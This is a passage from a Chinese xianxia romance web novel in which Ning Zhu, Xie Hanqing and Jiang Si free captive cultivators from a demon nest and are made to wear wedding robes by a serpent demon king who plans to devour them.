男人又捏住齐玉明的下巴,灌下一瓶深绿色的液体。 齐玉明眉头紧锁,露出不适的表情, 隔了一会儿,他忽然抽搐起来。 男人守在旁边,忙给他喂下另一种深红色的液体。 齐玉明的面色一会儿红一会儿白,整个人很快大汗淋漓,如同被从水中捞出来一样。 很快,他安静了下来。 男人松了一口气,还好成功了。 否则损失一个妖力强大的妖胚,又损失一个资质优秀的修士,蛇女大人怪罪下来他也不好担待。 他把齐玉明关到一个洞穴中,抹了一把汗,打算休息片刻,身后忽然传来一道笑盈盈的声音:“我很好奇,你们这妖胚,要如何才能取出来?” 男人转过身,看见一个面色苍白,双瞳黢黑的少年站在自己面前,他竟不知对方是什么时候进来的。 他悚然一惊,抬手攻击对方! 江似不耐烦地挥了下手,魔气将男人捆得结结实实,顺带捂住了他的嘴。 江似没有耐心在这里浪费时间,直直闯入了男人的识海。 片刻后,他退了出来。 江似蹙起眉,看来事情比想象中棘手。 他环顾了周围一圈。 被困在这里的,不仅有修士,也有魔修。 到底是他的子民,江似做不到坐视不管。 啧,真是麻烦。 另一边的洞穴中,宁竹蔫巴巴低着头,旁边白晚柳眉倒竖,气不打一处来:“这地方一看就很诡异,你是不是笨,还闷头往里闯!” 宁竹试图解释:“……我看到白暮师姐的弟子腰牌了,不能坐视不理。” 她小声嘟囔:“你肯定也是为了救白暮师姐才被抓的吧……” 毕竟她可是幽冥鬼母,实力并不弱,若不是为了救人,也不会束手束脚被抓起来。 白晚立刻反驳:“我只是路过而已!” 宁竹有点想笑,她及时抿住唇。 这地方那么偏远,陷阱重重,正常情况都会觉得危险,根本不会靠近。 ……白晚明明就是嘴硬。 宁竹也不打算戳破她,她软着声音问:“白晚师姐,你不是可以化作雾气吗?” 白晚郁闷至极,她低头看了一眼困住自己的这条绳索,看起来平平无奇,但她居然被捆得严严实实,没办法化作雾气离开。 宁竹见她低头看绳索,便知道问题是出在这绳索上了。 ……希望江似能打开这东西吧。 除了宁竹他们,这洞穴中还关押着几个修士,那几人都在垂头哭泣。 一片哀戚中,宁竹便显得太过淡定了。 白晚狐疑看她一眼:“都被抓进来了,怎么一点也不担心?” ……因为宁竹很自信。 江似,谢寒卿,姜思无,这三个人加在一起,能把这地方搅个天翻地覆。 宁竹忽然想起来,话说江似……还是白晚的顶头上司? 她幽幽看白晚一眼:“白晚师姐,放心,我们一定会安全出去的。” 白晚沉默片刻,看了一眼旁边陷入昏迷的白暮。 方才那生有蛇身,雌雄莫辨的少年见她们三人认识,竟是大发慈悲将白暮留了下来,说一会儿再把她们三个一起送过去。 “宁竹。” “嗯?” 白晚犹豫了一会儿,又说:“一会儿谢寒卿来救你的话,能不能去把齐玉明也救出来。” 宁竹猛然咳嗽起来,白晚怎么知道谢寒卿会来……不,这不是重点,齐玉明居然也在这里?! “白师姐,你还记得齐玉明?” 不,不对,齐玉明在炎陵山庄的时候,被雾妖影响,和白晚险些…… 白晚如果还记得他,应该是恨极了此人。 白晚摇头:“……刚开始那猪头是要把我带走的,那个齐玉明替我挡了下来。” 其实宁竹来归墟的时候,在飞舟上听到齐玉明和谭芸说话,知道齐玉明对白晚心存好感。 但她没想到在这样的情形下,齐玉明竟会挺身而出。 在梦京的时候,白晚出现的消息已经不胫而走,也就是说,齐玉明知道白晚现在是个魔修。 白晚看向宁竹:“这个人之前和我关系很好吗?” 宁竹当然不能告诉她炎陵庄那一茬,她含糊道:“还行吧。” 白晚漫不经心点点头。 这个人……是除了宁竹以外,第二个对她表现出善意的修士。 希望他别死那么快吧。 隔了一会儿,洞穴外忽然响起一道笑声:“这小子隐蔽得还真好,若不是被壁女发现得及时,还真让他跑了。” 雌雄莫辨的蛇身少年抓着一个人进了洞穴。 宁竹看清那人之后,眼眸倏然瞪大。 江似被绳索捆得结结实实,安静地站在荧蛇旁边。 荧蛇的目光从宁竹脸上划过,他笑起来:“看来你们四个都认识。” 江似被操控着飘到宁竹身旁。 荧蛇眯了眯眼:“既然都是认识的,就让你们同时为妖族繁衍妖胚吧。” 荧蛇好像很忙,把江似送过来后,又匆匆离开了。 宁竹急道:“你怎么也被抓进来了!” 白晚疑惑问:“这人是谁?” 江似慢悠悠拉住宁竹的手,朝着白晚举了下:“她的相好。” 白晚一愣。 宁竹却飞快拍开他的手:“江……张以!” 江似看着宁竹满面赤红的模样,忍不住笑弯了腰。 宁竹急了,抬手扯了下他的袖子:“到底怎么回事!” 江似凑近宁竹,在她耳边说:“凑过来些,我告诉你。” 宁竹急着弄清楚到底是怎么回事,往他那边凑了下。 江似看着洞穴入口的位置,贴着宁竹的耳朵轻言慢语,将方才他看到的事情告诉了她。 谢寒卿的神识就飘浮在洞穴门口,看着两人姿势亲密。 距离妖巢数里外,谢寒卿笼在 袖中的手微微收紧。 姜思无在一旁干着急。 他们一路追到此处,谢寒卿却忽然不让往前了。 但现在谢寒卿分出神识去打探,他也不敢轻易打搅他,只能护在他身旁,警惕风吹草动。 洞穴中,宁竹的眼眸一点点瞪大。 待到最后,她面色难看说:“这么说,要救那些已经被植入妖胚的修士,必需借助他们这个妖王?” 江似点头:“只要服下妖王的妖丹,这些人体内的妖胚就可以被清除。” 宁竹很是犯愁:“如果连你都觉得妖王不好对付,我们要怎么取出这枚妖丹?” 江似的眸光落在少女的唇上。 她因为紧张,在无意识地咬唇,唇瓣泛起嫣红的色泽。 江似轻声笑了下:“是啊,怎么办呢?” 宁竹在飞快思索。 如果必需要取妖王的妖丹,她乾坤袋里倒是有很多丹药,麻痹渡劫期修士都可以,多给这妖王吃几颗,或许能让他陷入昏迷,到时候他们再伺机动手。 只是他们该如何接近妖王? 更何况被困的修士那么多,他们有办法带着所有人离开吗? 不,要相信江似和谢寒卿。 这两个人可是原著的绝对主角,妖王在原著里都没出现过,应该不会是特别难缠的角色。 江似见她眼睛飞快地转,就猜她在想办法。 他轻轻蹭了下她的发:“不用想那么复杂,有一个最简单的办法。” 宁竹立刻问:“什么办法?” 江似看了一眼洞口,笑盈盈说:“这位妖王,也吃高阶修士进补。” “谢寒卿和姜思无,选一个送过去,我们里应外合,伺机动手。” 宁竹沉默了。 不料下一刻,一道声音在她识海中响起:“宁宁,就按他说的办。” 是谢寒卿。 宁竹一惊,在心里问:“谢师兄,你们就在这附近吗?” “嗯。” “被植入妖胚的修士,若不能服下妖王的妖丹,会被妖胚侵占身体,活不下来。” “我们必须拿到妖丹。” 宁竹在心里说:“可是……” “宁宁,就让我去吧,我去查看过,妖胚繁殖的速度很快,我们要尽快动手。” 宁竹抿唇,对江似说:“好吧。” 江似的唇一点点勾起:“嗯。” 宁竹默默瞪他一眼。 江似对此毫无所觉,心里盘算着一会儿要怎么动手,可惜了,这一次没办法借妖王的手杀了谢寒卿。 这妖王不好对付,他们取到他的妖丹,就得尽快逃离归墟。 不过……江似偏头凝望着宁竹,眼眸中荡漾出一点笑意。 宁竹宁愿让谢寒卿去冒险,也没有让他去冒险…… 心脏仿佛被一只柔软的手握住,江似的声音变得很温柔:“宁竹,你放心,我们一定会安然无恙带着他们逃出去。” 谢寒卿动作很快。 没过多久,荧蛇便抓着他进来了。 荧蛇笑道:“今儿可真是个好日子,抓到的修士一个资质比一个好。” 谢寒卿抬眸,无声看向江似,两人的目光微微交集。 谢寒卿在赌,赌他能用某种手段侵入人的识海,操控人的行为。 早在仙门大比的时候,他就发现曲亦卓的异常了。 某一瞬间,江似有种被他看穿看透的感觉。 这种感觉很不爽,他黑着脸看向荧蛇,精准的捕捉到了他的欲念。 荧蛇将谢寒卿捆好,忽然一怔。 他脑海中响起一道声音:“资质上佳的修士难得一见,为什么不进贡给妖王?” “妖王若是开心,你定会得到赏识,不是吗?” 荧蛇喃喃自语:“……是啊。” 为什么不把新抓进来的这个修士进贡给妖王呢? 他兴奋起来,忽然又走到谢寒卿面前:“你跟我走。” 江似和谢寒卿的视线再度相交,又微微错开。 谢寒卿仿佛被操控了一般,跟着荧蛇离开。 宁竹盯着谢寒卿的背影,心都提到了嗓子眼。 江似很不爽,咬着牙一言不发。 白晚狐疑地问:“他要把谢寒卿带到哪里去?” 宁竹却扯了扯江似的衣袖:“绳索,你能解开吗?” 一股细细的黑色焰火缠上绳索,很快绳索便被烧断了。 旁边的修士看见绳索断开,纷纷躁动起来:“你能解开绳索?!” 江似嫌他们烦,一挥手,众人都晕了过去。 白晚十分戒备:“你是魔修。” 她旋即伸手将宁竹扯到自己身后。 此人修为高深,自己解不开的绳索竟然能被他毁去,但据她所知,魔尊手下并没有这么一号人物,他到底是谁? 江似注意到白晚的动作,险些气笑了。 宁竹也没想到白晚会对江似那么戒备,江似可是白晚的顶头上司,她哪能眼睁睁看着白晚把江似给得罪了。 于是她忙出来打圆场:“白晚师姐你放心,他是我的朋友,不会伤害我的。” 白晚将信将疑:“宁竹,此人修为深不可测,但是我在魔域却从未听闻过这号人物,得小心些。” 宁竹看向江似,表情很是复杂,有点好笑,又有点无奈。 江似在她的目光中一寸寸败下阵来,他没什么好气解释道:“我要对你们动手早就动手了,还等得到现在?” “白晚,这妖巢中困着许多魔修,要救你的同伴,现在就跟我来。” 白晚心头一跳。 当初进归墟的时候,她也带了一队人,但是才入归墟,就被幻境分开了。 归墟凶险,能多带一个同伴出去就多带一个同伴,否则也不好和尊上交代。 于是她只好缓和了脸色:“好。” 或许是妖族自信于捆绑他们的绳索牢不可破,这处洞穴把守得并不严格。 江似轻而易举解决了洞口的几个妖族,对宁竹说:“你先带着这些人离开,我们要把另一边被植入妖胚的修士转移走。” 宁竹说:“那我们一会儿在哪里汇合?” 江似蹙眉:“取妖丹的事情你别管,交给我和谢寒卿。” 宁竹也知道自己修为不高,留在这里反而可能束手束脚。 她点点头:“那你们万事小心。” 时间很紧张,他们兵分两路。 宁竹身后还跟着七八个修士,都是昏迷状态。 她往每个人身上贴了一张跟随符,又贴了一张蔽身符,这些修士便一成串地跟在她身后漂浮。 宁竹亲手扶着白暮,带着这些修士悄悄往外走。 快要离开妖族的领地时,宁竹忽然遇到几个巡逻的猫妖。 或许是妖族的嗅觉比人族要灵敏,为首的那个猫妖忽然停下来:“你们有没有闻到什么味道?” 宁竹吓得倏然停下。 另一个猫妖耸了耸鼻子:“……好像是人族的味道。” 一只脸上生有三花纹路的猫妖舔了舔爪子:“荧蛇今天抓了好几个修士过来,应该是他们留下的味道吧,人族那臭烘烘的味道,走哪儿飘哪儿。” 为首的猫妖却忽然朝着宁竹他们所在的方向转过脸来:“不对,这味道也太浓郁了些。” 猫妖一步步朝他们走过来,宁竹心跳如擂。 她忽然想到什么,从乾坤袋里翻出一把细如米粒的丹药,往反方向 一抛! 一股奇异的味道散开。 猫妖们齐齐一怔,旋即全都朝着那个方向冲了过去:“好香!是什么味道?好香!” 宁竹趁此间隙,火速带着几个修士溜之大吉。 身后猫妖还围在一团,在地上疯狂寻找。 宁竹拭去额头上的冷汗,还好她忽然想起来,乾坤袋里囤了一瓶荆芥仙草丹。 这东西是他在幽冥集市买丹药时小摊贩送她的。 没什么大用,只是对……猫科动物尤为有效。 第77章 众所周知, 哪个世界都吸猫,这瓶丹药就是修真界版的猫薄荷,听那小摊贩说,只要几颗就可以把小猫勾搭回家。 宁竹可不敢轻易对这些妖族使用符箓, 一路往外走, 她遇到了好几支巡逻小队, 这几支巡逻小队会有交叉。 如果其他人发现猫妖小队迟迟没有出现, 恐怕很快就会被发现有修士逃走了。 没想到这瓶丹药起了大作用。 小摊贩告诉她, 对猫咪来说, 荆芥仙草丹就像是好吃的糖豆子, 那群猫妖把丹药吃了也不会有什么影响。 宁竹带着众人加快速度逃跑。 另一边,荧蛇已经带着谢寒卿来到了妖王居住的洞穴门口。 荧蛇弯着腰, 态度十分恭敬:“王,属下荧蛇特地为您寻来一个美味可口的修士。” 许久之后, 忽然有一股强横至极的妖力从洞穴中横扫而出, 将荧蛇掀翻在地。 荧蛇的蛇身霎时血流如注,他蜷缩在地上痛苦哀嚎。 洞穴中传来一道喜怒难辨的声音:“不是都说了,不许再接触那些修士么?” 谢寒卿垂眸,看着自己手背上被妖力割出的一道细小伤口。 荧蛇颤抖着匍匐在地上:“……属下一片衷心, 只是希望王能享用这个美味的人族。” 良久之后,妖王用冰冷的声音说:“……化神期修士?” 一道低沉喑哑的笑声响起:“本王已经有许多年没见过这么高阶的修士了。” “荧蛇,你办得很好,先下去吧。” 荧蛇喜不自胜,忙鞠躬告退。 小仙君冷淡的眼瞳盯着那漆黑无际的洞口。 忽有一股巨大的妖力将它吸了进去。 一条蛇身约九尺, 身上鳞片金光闪闪的巨蛇用冰冷的竖瞳打量着他,旋即他张开血盆大口,一口将谢寒卿吞了下去。 如同陷入五光十色的虚空, 谢寒卿微微失神。 他像是被浸泡在具有腐蚀性的池水中,周身都泛起微微的刺痛感。 谢寒卿抬手,发现自己的皮肤已经被腐蚀掉,露出苍白的指骨。 但是他身体新生的速度比腐蚀的速度要快,血肉在剥落,又凝聚重生。 谢寒卿知道自己现在整个人都鲜血淋漓,必然十分不美观。 若是宁竹看到自己这番模样……是会畏惧,还是会怜惜? 他知道江似打的是什么主意。 他就是想让宁竹看到自己这副死不掉的怪物模样。 可惜,他的算盘落空了。 他会在见到宁竹前,取出妖丹,让自己恢复如初。 他绝不会让宁竹看到自己这副模样。 谢寒卿在妖王体内仔细的寻找着,片刻后,他眼眸一亮,双手合握怀卿剑,朝着虚空中最亮的地方飞去! 谢寒卿不知道,他的脊骨处血肉淋漓,那根金色的昆仑骨在微微泛起光。 妖王盘旋洞穴中,蛇尾愉悦地轻摆。 消化一个高阶修士带来的舒适感,自不用提。 直到他感应到某种熟悉的东西。 妖王忽然睁开了眼瞳,竖瞳紧缩。 就在要碰到妖丹的那一刻,谢寒卿忽然被吐了出来。 洞穴中狂风大作,一个容貌华美,金发逶迤的蛇身男子掐住了他的喉咙。 危险的金瞳盯着他:“你到底是什么人?为什么会有神女的气息?” 江似和白晚配合着将被植入妖胚的修士往外带。 和宁竹一样,他们也遇到了几支巡逻小队。 但江似对付起这些低阶妖族来,实在是再容易不过。 只需要入侵他们的识海,稍稍左右他们的想法,这些妖族便会避开他们。 一路上都很顺利。 只是白晚看江似的眼神越来越狐疑,快要出妖族领地的时候,白晚忍不住道:“以你的修为,我在魔域不可能没见过你。” 江似并不打算在宁竹面前暴露身份,自然也不可能告诉白晚他的真实身份。 他勾了下唇角:“难道天下的魔修都一定要在魔域行走?” 白晚一愣。 然而就在这时,江似瞳孔一缩。 他觉察到一股巨大的危险从身后袭来。 江似祭出一股魔气,将白晚连同其他修士一起往外推! 然而那股妖力根本不在意这些修士,而是精准地卷住了江似的腰,将他猛然往妖巢拉去! 同样的事情发生在宁竹这边,宁竹都已经看到姜思无了,她兴奋地对姜思无喊:“姜师兄!这里!” 下一秒,一股妖力卷着她的腰,倏然将她带离。 姜思无面色大变:“宁竹!!” 天旋地转间,宁竹被一股力量托了一下,跌在地上。 两道声音同时响起:“宁竹!” 宁竹撑着身子坐起来,整个人都懵了。 这是一个幽暗的洞穴,她前方不远处趺坐着一个金发金瞳的男人。 身旁谢寒卿和江似双双被妖力束缚住,谢寒卿身上的衣裳破破烂烂,浑身都是血。 妖王盯着他们三个人,金瞳散发着诡异的光芒。 “……为什么你们身上,会有昆仑神女的气息?” 谢寒卿和江似都不明所以,宁竹却是脑子里嗡的一声。 他知道昆仑神女? 而且为什么他早不察觉晚不察觉,偏偏现在才发现? 江似表情阴沉盯着他:“什么昆仑神女?” 他掌边已经凝聚起了一团魔气。 他方才尝试过入侵男人的识海,但对方到底是妖王,他没能入侵成功。 只要保护好宁竹,大不了把他炸得稀巴烂! 反正他和谢寒卿都不会死。 江似的手忽然被人拉住,宁竹忙说:“妖王您也认识昆仑神女吗?” 谢寒卿和江似同时看向宁竹。 宁竹不确定妖王和昆仑神女之间到底是敌人还是朋友,只能仔细观察妖王的表情,试图看出蛛丝马迹。 妖王微微有些分神。 他脸上浮现出一种复杂的神情,似是怀念,又似是遗憾。 宁竹松了一口气,看他的表情,两个人至少不是敌人。 宁竹试探道:“既然我们和昆仑神女都认识,妖王能否放我们一马?” 妖王却眯起了眼睛:“你们和昆仑神女什么关系?” 他们和昆仑神女之间那么复杂的关系,也不是三言两语能说清的。 再加上宁竹也不打算告诉他,开始胡编乱造:“我们祖上于昆仑神女有恩,所以神女予我们庇护。” 宁竹小心翼翼说:“我们进入归墟历练,万万没想到惊扰了妖王,十分抱歉,但既然妖王和昆仑神女是故人,能否看在她的面子上,放我们一马?” “我们三个人的乾坤袋里有不少好东西,都可以进攻给妖王 ,妖王您看……” 蛇身人面的妖王姿态优雅在地上游弋,华美的发金光闪闪,他停在宁竹面前,俯身盯着她的眼睛。 一旁的谢寒卿和江似俱都十分戒备。 宁竹小腿有点发软,但还是尽量露出一个善意的笑容。 妖王冰冷的手指抬起她的下巴。 谢寒卿和江似均是眸光一变,两人都准备好了随时出手。 妖王薄唇轻启:“你知道我和那个女人的关系?” 宁竹开始感觉到不妙。 妖王轻声笑了下,指尖在宁竹下巴上摩挲,眸中露出几分恨意:“背叛之人,此生不得原谅!” 宁竹脸色大变。 完蛋了。 他放开宁竹,若有所思的盯着他们三个人看,忽然露出满意的笑容:“能得神女馈赠,说明你们三个的祖上也得她看重。” 他长叹一声,眸中闪烁着兴奋的光:“既然如此,本王怎可辜负她的好意? “蛇女。”妖王冰冷而优雅的声音响起。 一个蛇身人面的女子出现,她看了三人一眼,低头恭敬道:“王。” 妖王倨傲地抬着下巴:“把他们带下去,洗刷干净。” 蛇女应声:“是。” “再把那套九彩凤衣找出来。”妖王又说。 蛇女愣了一下。 妖王兴奋地说:“今天晚上,命所有子民都来妖巢,本王有大喜事。” 蛇女的头一点点埋低了:“……是。” 蛇女走在三人前方。 谢寒卿的声音在宁竹识海中响起:“宁宁,妖王方才说的神女是何人?” 宁竹的声音也同时响起:“谢师兄,你身上的伤还好吗?” 谢寒卿的眼睫轻轻颤了下。 他微微一笑,在宁竹识海中说:“没事。” 宁竹不放心:“可是你浑身都是血,我有丹药,谢师兄,一会儿你先吃一点吧。” 谢寒卿:“……嗯。” 他又问:“宁宁,昆仑神女到底是何人?” ……算是你的祖母? 但现在还不是告诉他这个的时候,宁竹随口胡诌:“我在音希山的时候,听漓鸾仙尊说过昆仑神女,所以我猜妖王和她会不会认识。” 宁竹猜测刚刚谢寒卿取妖丹的时候,不知道为什么被妖王察觉到了他体内的昆仑骨。 至于她和江似,一个人身上有昆仑神女的经脉,另一个人身上也有一块昆仑骨。 不知道是不是那该死的共振,所以才会被妖王一起发现。 宁竹现在担心的是另一件事。 “那些修士被我们救出来了,他们现在还没有发现吗?” 谢寒卿道:“不必担心,我方才联系上了表兄,他会安排那些人。” 至于这边,江似定然是干扰了他们的记忆,让他们以为那些修士都还被关押在洞穴中。 否则蛇女首先就会发现不对劲。 宁竹稍稍松了一口气,这些妖族还没被惊动,所以现在他们唯一需要做的事情就是尽快取出妖丹。 眼下只有他们三个人,硬斗肯定是不行的,只能智取。 不知道妖王要做什么,先走一步看一步。 谢寒卿的眸光在宁竹身上定格了一瞬。 ……那妖王说他们身上都有昆仑神女的气息,宁竹对此并不讶异,说明关于昆仑神女,她知道的远比他们多。 难道他在宁竹和江似身上感应到的熟悉,就是源于昆仑神女? 宁竹身上的,或许是那些古怪的红丝。 那江似身上呢?他身上又有什么? 谢寒卿在思索的同时,江似也在盯着他们看。 少年幽暗的眼神从宁竹背脊之上滑过,又落到谢寒卿的背影上。 那臭蛇说,他们身上都有昆仑神女的气息。 他几乎立刻猜到,宁竹身上的红丝或许就和这昆仑神女有关。 那么谢寒卿呢?那么他呢? 少年眸底有暗色的物质流动。 昆仑神女……是神祇么? 他这样的魔种,竟然会与一个神扯上关系? 三人心思各异,跟着蛇女一路来到一个热气氤氲的池边。 蛇女看他们一眼,抬手将人按到水中。 水底冒出许多银色的小鱼,在水面探头探脑。 蛇女:“半个时辰,把他们洗刷干净,我来接人。” 小鱼们纷纷点头,在水面荡开一圈圈涟漪。 蛇女看三人一眼,转身离开。 那些小鱼灵巧地钻到宁竹的腰侧,咬住她的腰带解开。 宁竹大惊失色,抬手去拍那些小鱼。 但那些小鱼很固执,宁竹才将它们拍开,又团团围聚上来。 它们仿佛只有一个念头,要把宁竹剥掉,洗刷干净。 慌乱间,宁竹分神看了一眼谢寒卿和江似。 或许是畏惧谢寒卿身上的剑意,那些小鱼并不敢靠近。 而江似那边,小鱼们晕乎乎围着江似转悠,却并不靠近他。 宁竹大受启发,忙从乾坤袋中召出一件法器。 这法器能化作一层透明的防护罩笼罩全身,小鱼们撞上来,咚咚响个不停。 宁竹爬到池子边,跳上去,边用灵力烘干身上的水,边冲着他们两个人问:“接下我们要怎么办?” 心不在焉的两个人,终于回过神来,看向宁竹。 少女的衣裙被水洇湿,贴在身上,起伏的曲线被勾勒无遗。 她的睫毛上沾了水,看人的时候便带着几分楚楚可怜。 两人都不合时宜地想起一些事。 他们无声抬眸,眼神交汇了片刻。 两人眸中都藏着幽暗的情绪。 只需一眼,他们便心知肚明…… 原来你也见过。 眼神交锋。 气氛变得极为紧绷。 一枚碧绿的丹药忽然飞到谢寒卿唇边。 宁竹说:“我都忘了,谢师兄你身上有伤,先吃点药吧。” 剑拔弩张的气氛倏然消失。 谢寒卿张唇,含住那枚丹药。 他率先动了,谢寒卿走过去,仰头看宁竹:“宁师妹……” 宁竹的袖角忽然被江似牵住。 江似也仰头看她。 少年脸上的面具不知道是何时掉落的,他面色苍白,眼瞳如同两簇黑色火焰在燃烧。 极致的黑与白交映,有种鬼气森森之感。 江似攥着宁竹的袖子,声音有点哑:“宁竹,我也受伤了。” 宁竹狐疑地看他一眼。 全须全尾,哪儿受伤了? 江似仿佛看出了她的想法,眼神变得幽怨。 宁竹立刻往他唇边送了一枚一模一样的碧绿色丹药:“嗯嗯,你也吃一颗。” 江似张开唇,含住那枚丹药—— 作者有话说:宝宝们除夕快乐~ 第78章 谢寒卿眸光微垂, 江似握住的那截袖角被无声削断。 谢寒卿说:“宁师妹,我先送你出去,取妖丹的事,交给我们。” 宁竹被拉回注意力, 她看向谢寒卿, 正想开口。 江似把玩着那片断掉的袖角, 漫不经心说:“宁竹, 你得先告诉我, 昆仑神女是谁?” 两道幽幽的视线落在宁竹身上。 宁竹背脊一点点绷紧, 有种如坐针毡的感觉。 ……不能说, 至少不是现在。 宁竹心虚地说:“等出归墟,出了归墟, 我便告诉你们。” 江似眼角弯起,拖长声调:“是么?” 谢寒卿色若琉璃的眼无声看着宁竹。 两人的目光如有实质, 似蛛网将她黏住。 宁竹抠了下池边的岩石, 深吸一口气:“我要留在这里跟你们一起。” 他们都不知道昆仑神女的事,自己留在这里,或许还能与妖王周旋一二。 两道声音齐齐响起:“不妥。” “不行。” 谢寒卿眉头微蹙:“妖王妖力强大,并不好对付, 宁师妹,我先送你出去。” 宁竹却说:“有我在,妖王可能更好对付一些。” “更何况妖王说我们三个身上都有昆仑神女的气息,我先走了就容易暴露。” 她眼眸微转:“还是说……你们没信心夺得妖丹后把我带出去?” 谢寒卿和江似齐齐沉默。 宁竹便知道这招奏效了。 她扯了下谢寒卿的袖角,又扯了下江似的袖角, 笑盈盈说:“我们三个人合力,肯定能把妖丹成功带出来的。” 两人的视线都落在她牵住自己袖角的手上。 幽暗的情绪在流动。 蛇女很快回来了。 见到三人时,她皱眉:“怎么还穿着衣裳?” 小鱼们浮在水面吐泡泡。 蛇女听到它们在细声细气地说:“洗干净了!小鱼洗干净了!” “他们只是自己穿上了衣服!” 蛇女并不知道江似控制了这些小鱼, 她只淡声道:“既然洗刷好了,便跟我来。” 三人跟在蛇女身后,蛇女很快将他们带到一个宽敞的洞穴中。 诡异的是,这洞穴中燃着幽幽红烛,将整个洞穴都映得一片红艳艳。 洞穴中间放着一张宽大蒲团。 三人被束着手困在此处。 蛇女居高临下看他们一眼,指着一旁的箱子:“换上那套衣服。” 就在这时,江似直勾勾盯住了她的眼睛。 蛇女的眼神倏然变得呆滞。 谢寒卿和江似互不信任,分别闯入了蛇女的识海。 铺天盖地的记忆翻涌而来,两人速度极快,在其中搜寻着自己需要的记忆。 片刻后,他们同时退了出来。 宁竹期待地问:“怎么样?看到什么有用的信息了吗?妖王今天晚上要做什么?” 谢寒卿和江似的表情都很古怪。 宁竹有点奇怪:“怎么了?” 谢寒卿开口:“没什么,宁 师妹,先把衣服换上吧。” 江似唇角微微勾起:“先换衣服。” 宁竹打开箱子,整个人都怔住。 她狐疑地拎出其中一件,彻底僵住。 ……这,这不是婚服吗!! 宁竹又从里面抖出其他两套。 三套婚服?! 妖王到底要做什么? 宁竹的眼神开始飘忽,她拎着其中一套婚服:“我们真的要换上这个吗?” 出乎意料的是,谢寒卿竟然点了下头。 宁竹立刻在识海中问:“谢师兄,换婚服干什么?” 识海中响起谢寒卿的声音:“宁宁,你先换上。” 他沉默片刻,又说:“妖族有个奇怪的娶亲仪式,娶亲仪式完毕后,妖族会把伴侣吃掉。” 宁竹悚然一惊:“意思是妖王要把我们吃掉?” ……还要一次性吃三个? 谢寒卿道:“是。” “宁宁,妖丹就在妖王的肚子里,这是我们取妖丹的好时机。” 宁竹想到刚被抓过来时,谢寒卿那身破破烂烂的血衣,她立刻问:“谢师兄,你是不是已经进过妖王的肚子一回?” 谢寒卿并未隐瞒:“是。” “妖王肚子里有一种足以腐蚀肌骨的液体,我进去的时候并无准备,所以才会受伤。” “宁宁,你召出防御法器包裹住全身,可以抵抗那些液体,待到我们取出妖丹,就一起离开。” 宁竹想到要在妖怪肚子里走一遭,便觉得有点恶心。 不过她待会最好还是和他们两人待在一起,共同进退。 江似见他们两人看着彼此沉默不语,宁竹的表情却有细微变化,眯了眯眼,一把抓住宁竹,咬牙切齿道:“你们在说什么?” 宁竹吓了一跳,回过神来看向江似:“没有啊。” “江似,我们快先换上衣裳吧。” 宁竹拍了拍江似的胳膊,拎其中一套递给江似:“喏。” 江似看着宁竹选中的那一套,冷哼一声:“我要那套。” 他拎起另一套。 这套和宁竹手中的婚服绣花更接近,都是金线绣仙鸢花,另一套绣的是紫云英。 宁竹根本没在意这种小细节,她拿着自己那套婚服,从乾坤袋里取出一个屏风,屏风可以随意变化形态,刚好把他们三个人隔到独立的空间里。 她躲在屏风后面飞快换上了衣裳。 隔了一会儿,宁竹问:“你们好了吗?” “嗯。” “早好了。” 屏风被撤去。 谢寒卿和江似同时抬眸。 一人更添清冷,一人更显狂傲,是截然不同的感觉。 他们亦在注视宁竹。 少女一身炽烈的红衣站在面前,发髻有些蓬乱,杏眼微弯看着他们两人。 她的目光里只有新奇和善意的笑。 他们的眸光,却如同两尾黏腻的蛇,攀附在她身上。 丝丝吐信,要将她吞吃入腹。 谢寒卿忽然淡声开口:“宁师妹这身婚服,和幻境中那套倒是有几分相似。” 江似表情凝固住。 宁竹愣了下,眼眸微微瞪大。 谢寒卿在说什么啊! 眼看着江似的表情阴沉得几乎滴水,宁竹忙说:“没有啊!那套只是红色的留仙裙!” 她在识海中道:“谢师兄,别招惹江似了。” “取出妖丹要紧。” 片刻后,谢寒卿微微有些委屈的嗓音响起:“宁宁,我只是在陈述事实。” 宁竹语气有点凶巴巴:“陈述事实也不行,别妖王还没来,你们两个又打起来了!” “况且那个人根本不是我,是你制造出来的幻觉而已。” 宁竹很少跟谢寒卿这么说话。 谢寒卿睫毛颤了下,垂眸不语。 江似的语气变得有几分阴阳怪气:“真是没想到,谢师兄这般光风霁月的人物,也会在幻境中肖想同门师妹。” 宁竹凶巴巴瞪了一眼江似,垂在身侧的手握成拳,不显眼地晃了两下。 江似倏然笑起来,戳破她:“怎么,还在想你在温泉里给我的那一拳?” “宁竹,当时……” 啪—— 一张噤声符飞到了江似的脸上。 宁竹胸膛微微起伏,狠狠瞪两个人一眼,扭头坐到了一旁的蒲团上。 片刻后,谢寒卿和江似也慢吞吞坐到她旁边。 一左一右,都有几分讨好的姿态。 宁竹板着脸谁也不看。 江似撤出蛇女的识海,蛇女的眼神恢复了光彩。 她看着三人整整齐齐坐在蒲团上,点了点头,往外走去。 天色一点点暗下来。 洞穴外渐渐热闹起来。 篝火熊熊,热浪几乎扑进洞穴,妖族的影子在岩壁上晃动。 有人在祝酒,有人在高歌,正是一派热闹非凡的景象。 妖族的声音断断续续传入洞穴。 “王已几十年没娶亲了吧?” “听说这一次抓了三个资质极佳的修士,王定然是要好好享用……” “真是便宜了这些修士,能被王收用,实乃幸事……” 宁竹已经布置好了防御法器,一会儿被妖王吞到肚子后,防御法器便会开启,这样能避免他们被妖王体内的液体伤到。 三个人默默坐在蒲团上,谁也没说话。 月影高升。 忽有一道悠长的影投映在岩壁上,蛇尾滑过地面,发出细微的响。 宁竹倏然紧张起来。 手被人牵住。 识海中响起一道声音:“宁宁,别怕。” 宁竹下意识回握他的手。 另一只手也被牵住,江似低头在她耳边轻声呢喃:“不过是个蛇妖而已,不用怕。” 话音落,妖王出现在了他们面前。 男人金发逶迤,金色的瞳兴奋地收缩着,仿佛瞄准猎物的捕猎者。 他脸上泛着薄红,满意地看着他们三个人。 片刻后,他忽然猝不及防化为蛇身,一口将谢寒卿和江似吞吃入腹。 宁竹迎着那张血盆大口闭上眼睛,启动防御法器。 想象中的湿粘没有传来,宁竹愣了下,睁开眼,发现自己还好端端地坐在蒲团上。 这蛇妖竟然只吃了谢寒卿和江似! 宁竹吓得不要命地把防御法器全都拿出来。 一时各种奇形怪状的法器都环绕在宁竹身旁,宁竹甚至还找出一瓶雄黄粉,朝着妖王洒了过去。 妖王已经恢复成了半人半蛇的模样。 雄黄粉扑簌簌落在他身上,他随手掸去,蹙了下眉:“什么东西,好臭。” 宁竹内心哀嚎,她简直是有病,普通雄黄粉对他怎么可能有用! 妖王朝着她滑过来。 防御法器开始发挥作用了。 